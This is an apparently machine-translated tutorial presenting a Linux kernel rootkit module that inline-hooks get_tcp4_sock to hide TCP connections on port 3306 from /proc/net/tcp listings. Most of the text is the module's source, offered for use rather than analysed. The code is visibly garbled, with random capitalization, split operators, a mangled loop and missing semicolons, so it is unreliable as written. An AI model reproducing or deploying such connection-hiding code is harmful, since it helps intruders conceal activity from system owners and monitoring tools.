How to hide the Network connection under Linux
This article introduces the knowledge of "how to hide the network connection under Linux". Many people will encounter such a dilemma in the operation of the actual case. then let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!
Inline hook directly live get_tcp4_sock this function on the line, but need to re-implement the function of get_tcp4_sock, in the next filter. It is relatively simple. The code is as follows:
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MODULE_LICENSE ("GPL")
MODULE_AUTHOR ("wzt")
_ _ U32 wnps_in_aton (const char * str)
{
Unsigned long l
Unsigned int val
Int i
L = 0
For (I = 0; I)
< 4; i++) { l rcv_saddr; __u16 destp = ntohs(inet->Dport)
_ U16 srcp = ntohs (inet- > sport)
Printk ("!! in new_get_tcp4_sock.\ n")
If (icsk- > icsk_pending = = ICSK_TIME_RETRANS) {
Timer_active = 1
Timer_expires = icsk- > icsk_timeout
} else if (icsk- > icsk_pending = = ICSK_TIME_PROBE0) {
Timer_active = 4
Timer_expires = icsk- > icsk_timeout
} else if (& sk- > sk_timer) {
Timer_active = 2
Timer_expires = sk- > sk_timer.expires
} else {
Timer_active = 0
Timer_expires = jiffies
}
/ *
If (src = = wnps_in_aton ("127.0.0.1")) {
Printk ("got 127.0.0.1")
Return
}
, /
If (srcp = = 3306 | | destp = = 3306) {
Printk ("got 3306!\ n")
Seq_printf (f, "% 4d: X X X X:lX"
"X% 5d% 8d% lu% d% p% lu% lu% u% u% d% n"
0, 0, 0, 0, 0, 0
Tp- > write_seq-tp- > snd_una
Sk- > sk_state = = TCP_LISTEN? Sk- > sk_ack_backlog:
(tp- > rcv_nxt-tp- > copied_seq)
Timer_active
Jiffies_to_clock_t (timer_expires-jiffies)
Icsk- > icsk_retransmits
Sock_i_uid (sk)
Icsk- > icsk_probes_out
Sock_i_ino (sk)
Atomic_read (& sk- > sk_refcnt), sk
Jiffies_to_clock_t (icsk- > icsk_rto)
Jiffies_to_clock_t (icsk- > icsk_ack.ato)
(icsk- > icsk_ack.quick icsk_ack.pingpong
Tp- > snd_cwnd
Tp- > snd_ssthresh > = 0xFFFF?-1: tp- > snd_ssthresh
Len)
}
Else {
Seq_printf (f, "% 4d: X X X X:lX"
"X% 5d% 8d% lu% d% p% lu% lu% u% u% d% n"
I, src, srcp, dest, destp, sk- > sk_state
Tp- > write_seq-tp- > snd_una
Sk- > sk_state = = TCP_LISTEN? Sk- > sk_ack_backlog:
(tp- > rcv_nxt-tp- > copied_seq)
Timer_active
Jiffies_to_clock_t (timer_expires-jiffies)
Icsk- > icsk_retransmits
Sock_i_uid (sk)
Icsk- > icsk_probes_out
Sock_i_ino (sk)
Atomic_read (& sk- > sk_refcnt), sk
Jiffies_to_clock_t (icsk- > icsk_rto)
Jiffies_to_clock_t (icsk- > icsk_ack.ato)
(icsk- > icsk_ack.quick icsk_ack.pingpong
Tp- > snd_cwnd
Tp- > snd_ssthresh > = 0xFFFF?-1: tp- > snd_ssthresh
Len)
}
}
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